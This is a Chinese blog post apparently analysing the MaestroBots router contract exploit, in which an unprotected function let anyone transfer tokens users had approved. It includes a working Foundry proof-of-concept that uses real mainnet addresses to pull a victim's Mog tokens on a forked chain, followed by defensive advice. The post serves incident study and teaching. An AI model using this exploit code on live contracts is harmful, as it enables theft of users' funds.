11.MaestroBots@arbitrary-call
2023-10-26 19:58:32 # 08.PoC

MaestroBots@arbitrary-call

MaestroBots的路由合约受到攻击,漏洞发生约半小时之后项目方就发现并且迅速修复,替换了新的路由合约,并承诺归还大约280ETH给损失的用户。

多笔攻击的手法一致,我们选取其中一笔MogCoinEth来进行分析。

image-20231026140057456

交易

资金流向

image-20231026141507912

攻击过程

通过phalcon浏览器可以发现,攻击者写了一个合约,调用0x9239127f方法,就成功将代币转移到攻击合约中。

image-20231026142550675

然后后面就是一系列的将获利转换成ETH的操作,我们只需要分析为什么可以直接转移代币即可,这一定是逻辑合约的函数写的有问题。

攻击详细分析

由于逻辑合约没有开源(也许就是这个原因,就放松了警惕),我们对其进行反编译,找到0x9239127f方法:该函数可以对传入的varg0,转换后也就是一个token的地址。任何人可以对其进行任意调用,因为没有做任何传参的校验和权限校验!通览整个方法,也没有发现任何可能revert的地方。

image-20231026143700254

修复之后的逻辑合约已经没有这个方法了

image-20231026144446950

复现

GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// https://github.com/foundry-rs/foundry/issues/4916
// forge test --match-path test/PoC/11.MaestroBots@arbitrary-call.sol --offline -vvvv --evm-version 'shanghai'

contract ContractTest is Test {
address public storageContract = 0x80a64c6D7f12C47B7c66c5B4E20E72bc1FCd5d9e;
IERC20 public Mog = IERC20(0xaaeE1A9723aaDB7afA2810263653A34bA2C21C7a);
address public logicContract = 0x8EAE9827b45bcC6570c4e82b9E4FE76692b2ff7a;
// 模拟其中一个受害者
address victim = 0x4189ad9624F838eef865B09a0BE3369EAaCd8f6F;

function setUp() public{
vm.createSelectFork("mainnet", 18_423_219); // 攻击在18_432_662
}

function test_exploit() public{

uint256 attackBefore = Mog.balanceOf(address(this));
console.log("before attack, Mog balance", attackBefore);

uint256 allowance = Mog.allowance(victim, storageContract);
uint256 balance = Mog.balanceOf(victim);
balance = allowance < balance ? allowance : balance;

// 从调用关系可以知道,攻击者使用了`transferFrom`
bytes memory data = abi.encodeWithSignature("transferFrom(address,address,uint256)", victim, address(this), balance);

address(storageContract).call(abi.encodeWithSelector(
// 需要调用的方法
hex"9239127f",
// token
uint256(uint160(address(Mog))),
// 对于token需要调用的数据
data,
// 不太清楚后面两个参数干嘛用的,不了解这个项目
uint256(0),
uint256(0)
));

uint256 attackAfter = Mog.balanceOf(address(this));
console.log("after attack, Mog balance", attackAfter);

// 检测是否获利
assertGt(attackAfter, attackBefore);

}
}

建议

  • 即使没有开源源代码,也不要放松警惕
  • 对于关键函数,一定要进行权限检测和参数校验
Prev
2023-10-26 19:58:32 # 08.PoC
Next